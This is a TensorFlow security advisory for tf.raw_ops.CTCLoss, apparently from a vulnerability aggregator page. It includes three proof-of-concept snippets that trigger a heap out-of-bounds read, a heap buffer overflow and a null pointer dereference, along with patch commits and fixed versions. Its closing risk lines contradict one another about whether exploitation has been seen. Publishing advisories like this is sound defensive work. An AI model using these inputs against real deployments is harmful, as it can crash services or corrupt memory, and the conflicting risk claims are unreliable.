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GHSA-vvg4-vgrv-xfr7
No affected components available
Impact
Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:
import tensorflow as tf
inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=True, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=True)
An attacker can also trigger a heap buffer overflow:
import tensorflow as tf
inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)
Finally, an attacker can trigger a null pointer dereference:
import tensorflow as tf
inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)
Patches
We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
The vulnerability requires local access to the device to be exploited. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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